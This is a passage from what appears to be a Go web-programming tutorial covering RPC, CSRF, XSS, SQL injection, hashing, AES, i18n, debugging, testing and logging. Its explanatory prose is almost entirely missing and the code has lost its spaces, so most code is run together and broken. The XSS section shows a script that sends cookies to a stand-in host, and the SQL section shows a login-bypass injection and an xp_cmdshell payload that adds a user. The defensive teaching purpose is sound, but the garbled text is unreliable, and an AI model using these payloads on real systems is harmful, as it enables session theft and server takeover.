client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
$./http_clocalhostArith:17*8=136Arith:17/8=2remainder1
struct client.CallCallGoRPC
TCPRPC
HTTPRPCTCPRPC
packagemain
import("errors""fmt""net""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
httpTCPrpc
goroutinesocketgoroutineTCPRPC
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]
client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
httpDialHTTPDial(tcp)
JSONRPC
JSONRPCJSONgobRPCGojson-rpc
packagemain
import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()
iferr!=nil{continue}jsonrpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
json-rpcTCPHTTP
packagemain
import("fmt""log""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]
client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
GoRPCHTTPTCPJSONRPCWebGoSOAPRPC
links
: REST:
8.5SocketsocketHTML5WebSocketpush
links
:: CSRF
9.1CSRF
CSRF
CSRFCross-siterequestforgery""oneclickattack/sessionridingCSRF/XSRF
CSRFQQ(URL)WebQQ
CSRFCSRFWeb
Cookie
CSRF
CSRFWebWeb
CSRF
/
CSRFCSRF
CSRF
1GET,POSTCookie2GET
RESTWebWebGETPOSTCookie
1GET
2POST
Go
mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)
POSTGETGETCSRFPOST
GET
cookietokenCookie()CookieXSSXSSCAPTCHACAPTCHA
4.4”"
token
h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)
token
<inputtype="hidden"name="token"value="{{.}}">
token
r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}
POSTtoken211
CSRFWebWeb""""Web
links
::
9.2WebWeb
123
""""
GoGo rParseFormPOSTGET r.Form r.Header( r.Header.Get("Accept-Charset"))
"0"
strconvRequest r.FormAtoiParseBoolParseFloatParseInt
string TrimToLowerToTitle
regexpEmail
WebMap(CleanMap)
CleamMapMapCleanMap
<formaction="/whoami"method="POST"><selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>
POST name=attack
r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}
CleamMapname astaxieherrymarry`CleanMapCleanMap["name"]else
r.ParseForm()username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9].$",username);ok{CleanMap["username"]=username}
WebCSRFXSSSQL
links
: CSRF: XSS
9.3XSSWeb"CrossSiteScripting,XSS"
XSS
XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSS()XSSWebXSScookie
XSSXSSHtmlWeb->->Web->XSSURL
XSS
cookieFlashcrossdomainJavaiframeframeXMLHttpRequestFlashXSS
PVXSSDDoS
XSS
WebHTML">""<"/XSS
XSSXSSurl http://127.0.0.1/?name=astaxie
helloastaxie
http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>urlXSSCookiename=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>urlcookie www.xxx.comURLURLURLurlurlcookiecookieWebsleuth
XSS" XSS"
XSS
XSS
XSS
XSSGoHTML
text/templateHTMLEscapeStringJSEscapeString
HTTP
w.Header().Set("Content-Type","text/javascript")
htmljavascript
XSSWebXSS
links
:: SQL
9.4SQL
SQL
SQLSQLInjectionWeb
SQLSQL
SQL
WebSQLSQLSQLSQL
SQL
<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>
SQL
username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"
myuser'or'foo'='foo'--
SQL
SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'
SQL--
MSSQLSQLMSSQL
sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)
a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql
sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"
MSSQLSQLsaMSSQLSERVER
SQL
SQLBBSDiscuzphpwindphpcmsSQL
hiddencookie
SQLSQL
1. WebSQL2. regexpstrconv3. '"\&*;Go text/template HTMLEscapeString
4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})
5. SQLSQLsqlmapSQLninja6. SQLSQLSQL
SQLWebWeb
links
: XSS
:
9.5-Linkedin,CSDN800
Web
(digest)""SHA-256SHA-1MD5
Go
//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))
12
rainbowtable
rainbowtable
--
MD5MD5
"""salt"MD5MD5MD5
//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )
//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))
//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"
//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)
last:=fmt.Sprintf("%x",h.Sum(nil))
salt
"" rainbowtable
rainbowtable
rainbowtable
scryptscryptFreeBSDColinPercivalTarsnap
Go http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)
1LastPass/2
links
: SQL: /
9.6 /
/
Gocrypto
crypto/aes:AES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES
aes
packagemain
import("crypto/aes""crypto/cipher""fmt""os")
varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}
funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintextiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}
//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}
fmt.Println(len(key_text))
//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_text)
,err)os.Exit(-1)}
//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)
//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}
aes.NewCipher(key162432[]byteAES-128,AES-192AES-256)cipher.Block
typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int
//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)
//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}
/Go
Web/AES
links
::
9.7CSRFXSSSQLWebWeb/Gobase64aesdes
WebWebWeb
links
: /:
10Web
Internationalizationandlocalization,i18nL10N
Goi18ngo-i18nGoi18n
local
1locale
2locale
3locale
localelocalelocalei18n
links
::
10.1
Locale
Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312
GO"UTF-8"i18nlocalei18nlocale
LinuxSolarislocale-aBSDlocale /usr/share/locale
Locale
locale()localelocale
Locale
Locale www.asta.com() www.asta.cnlocale
URL
GomapSEO
locale
ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}
"en.asta.com""cn.asta.com"
prefix:=strings.Split(r.Host,".")
ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}
LocaleWebLocaleurl
Locale
LocaleURL www.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])
LocaleRESTfullinklocaleurllink locale=params["locale"]
URLRESTful www.asta.com/en/books() www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)
mux.Get("/:locale/books",listbook)
URLLocale()IPWeb
Accept-Language
HTTP Accept-LanguageGo Accept-Languge
AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}
IP
IPIPIPGeoIPLiteCountryIPIP
profile
localeprofilelocalelocale
LocaleLocale
links
::
10.2LocaleLocaleLocaleGoJSON(en.jsonja-JP.json)
Webmapkey-valuemap
packagemain
import"fmt"
varlocalesmap[string]map[string]string
funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"
locales["en"]=encn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["ja-JP"]=cnlang:="ja-JP"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}
funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}
localekeylang en
key-value"Iam30yearsold""30"30 fmt.Printf
en["howold"]="Iam%dyearsold"cn["howold"]="%d"
fmt.Printf(msg(lang,"howold"),30)
JSON json.Unmarshalmap
Locale 20131024231113JST WedOct2423:11:13CST2012
1.2.
$GOROOT/lib/timetimeinfo.ziplocalelocaletime.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago
time.NowTime():
en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Tokyo"
loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))
:
en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"
fmt.Println(date(msg(lang,"date_format"),t))
funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}
:
en["money"]="USD%d"cn["money"]="%d"
fmt.Println(date(msg(lang,"date_format"),100))
funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}
Localecssjslocale
views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--ja-JP//|--images|--js|--cssindex.tpllogin.tpl
s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)
index.tpl
//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//
<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/ja/images/btn.png">
langkey-valueLocaleLocalek fmtPrintfLocalelang
links
::
10.3Locale
Locale config/localesen.jsonja.json
#ja.json
{"ja":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
-- go-i18ngo-i18n config/localeslocale
Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")
fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("ja")fmt.Println(Tr.Translate("submit"))//""
go-i18n
//go-i18n/locales
//zh.jsonen-jsonen-US.json
func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}
deferdir.Close()
names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}
for_,name:=rangenames{fullPath:=path.Join(dirPath,name)
fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}
iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()
iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}
returnnil}
//locale=zh
fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST
fmt.Println(Tr.Time(time.Now(),"long"))//2009108
fmt.Println(Tr.Money(11.11))//:11.11
templatemapfunc
"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc
1.
Tr.TranslatemapFunc
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}
t.Funcs(template.FuncMap{"T":I18nT})
{{.V.Submit|T}}
1.
Tr.TimemapFunc
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}
t.Funcs(template.FuncMap{"TD":I18nTimeDate})
{{.V.Now|TD}}
1.
Tr.MoneymapFunc
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)
}returnTr.Money(s)}
t.Funcs(template.FuncMap{"M":I18nMoney})
{{.V.Money|M}}
Webgo-i18nWebpipeline
links
::
10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo
links
11.1GoCC-1NULLAPI:0Goerrorerrornil
funcOpen(namestring)(file*File,errerror)
os.Open log.Fatal
f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}
os.OpenAPIerrorerrorWeberror
Error
error
typeerrorinterface{Error()string}
error/builtin/errorerrorserrorString
//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}
func(e*errorString)Error()string{returne.s
}
errors.NewerrorStringerror
//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}
errors.New
funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}
Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)
f,err:=Sqrt(-1)iferr!=nil{fmt.Println(err)}
Error
errorinterfaceJson
typeSyntaxErrorstruct{msgstring//Offsetint64//
}
func(e*SyntaxError)Error()string{returne.msg}
OffsetError
iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}
error
funcDecode()*SyntaxError{//err!=niltrue
varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue
}
http://golang.org/doc/faq#nil_error
Errornet
packagenet
typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}
errnet.Errorsleep1
ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}
GoC
funcinit(){http.HandleFunc("/view",viewRecord)}
funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}
http.Error500HnadleFunc(HTTP)
typeappHandlerfunc(http.ResponseWriter,*http.Request)error
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}
funcinit(){http.Handle("/view",appHandler(viewRecord))}
/view
funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}
500
typeappErrorstruct{ErrorerrorMessagestringCodeint}
typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}
funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}
view
GoerrorWeb
links
:
: GDB
11.2GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGDBGDBGo
GDB
GDBFSF()UNIXGDB
1.2.3.4.
GoGDB7.1
Go
1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB
GDB
list
l10 list15101510
10time.Sleep(2*time.Second)11c<-i12}
13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)
break
b b1010
deleted infobreakpoints
NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time
backtrace
bt
#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()
info
info
infolocals
infobreakpoints
infogoroutines
goroutine*
*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched
p$len()$cap()stringslicesmaps
whatis
whatismsg
type=structstring
next
n n
coutinue
c
setvariable
setvariable<var>=<value>
GDBGo
packagemain
import("fmt""time")
funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}
funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}
gdbfile:
gobuild-gcflags"-N-l"gdbfile.go
gdb
gdbgdbfile
run
(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]
(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
b2323 run list5
(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}
25}
GDB
(gdb)infolocalscount=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint
(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
cfor
(gdb)infolocalscount=2
bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
gorutinegoroutine
(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()
goroutinesgoroutine
GDBGo runprintinfosetvariablecontinuelistbreakGoGDBGDB
links
:: Go
11.3GoGo
Go testinggotest testing
gotest gotest
2gotest.gogotest_test.go
1. gotest.go::
packagegotest
import("errors")
funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}
returna/b,nil}
2. gotest_test.go::
_test.go gotest
testingimportTest
TestXxx() testing.T
: funcTestXxx(t*testing.T)Xxx[a-z] Testintdiv
testing.TErrorErrorfFailNowFatalFatalIf Log
packagegotest
import(
"testing"
)
funcTest_Division_1(t*testing.T){
ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}
}
funcTest_Division_2(t*testing.T){
t.Error("" )
}
gotest
---FAIL:Test_Division_2(0.00seconds)
gotest_test.go:16:
FAILexitstatus1FAILgotest0.013s2test gotest-v
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)
gotest_test.go:11:1
===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)
gotest_test.go:16:
FAILexitstatus1FAILgotest0.012s1 2Test_Division_22
funcTest_Division_2(t*testing.T){
if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//
}else{
t.Log("onetestpassed.",e)//}
}gotest-v
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)
gotest_test.go:11:1
===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)
gotest_test.go:20:onetestpassed.0
PASSokgotest0.013s
XXX
funcBenchmarkXXX(b*testing.B){...}
gotest -test.bench: -test.bench="test_name_regex"gotest-test.bench=".*"
testing.B.N
_test.go
webbench_test.go
packagegotest
import("testing")
funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}
funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//
//,,,//
b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}
gotest-filewebbench_test.go-test.bench=".*"
PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s
TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunctin5000000007.801
testing gotestgotest
links
links
::
12.1WebGologfmtpanicGoJavaC++log4jlog4cpp
https://github.com/cihub/seelog
seelog
seelogGo
XML
logrotateSMTP
seelogwiki
seelog
goget-ugithub.com/cihub/seelog
packagemain
importlog"github.com/cihub/seelog"
funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}
Hellofromseelogseelog
seelog
seelog
packagelogs
import("errors""fmt"seelog"github.com/cihub/seelog""io"
)
varLoggerseelog.LoggerInterface
funcloadAppConfig(){appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="astaxie@gmail.com"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="xiemengjun@gmail.com"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}
funcinit(){DisableLog()loadAppConfig()}
//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled
}
//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.
funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}
DisableLog
LoggerseelogLogger
loadAppConfig
seelogXML
seelog
minlevelmaxlevel
outputs
logrotatefiltercritical
formats
UseLogger
packagemain
import("net/http""project/logs""project/configs""project/routes")
funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}
smtp
<smtpformatid="criticalemail"senderaddress="astaxie@gmail.com"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="xiemengjun@gmail.com"/></smtp>
criticalemailSMTPrecipient
logs.Logger.Critical("testCriticalmessage")
CriticalEmail
"Info""warn"linuxgrep
#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword
Webseeloglogrotate
seelogseelogminlevel
links
::
12.2WebWeb
SQLSQL
ini
json
HTTP404401403503
2
Web(404.html)(error.html)errnil404
404.htmlerror.html
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initia
l-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1> </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
404
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}
funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//
ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
